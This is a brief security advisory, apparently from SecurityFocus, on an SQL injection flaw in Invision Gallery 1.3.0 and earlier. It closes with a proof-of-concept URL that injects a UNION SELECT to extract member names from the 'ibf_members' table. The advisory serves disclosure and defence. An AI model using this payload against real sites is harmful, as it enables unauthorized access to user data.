source: http://www.securityfocus.com/bid/13907/info

Invision Gallery is affected by an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'index.php' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Invision Gallery 1.3.0 and prior are vulnerable. 

http://www.example.com/index.php?act=module&module=gallery&cmd=editcomment&comment=
-99%20UNION%20SELECT%200,0,0,0,0,0,0,0,0,name,0,0,0%20FROM%20ibf_members%20
WHERE%201/*&img=1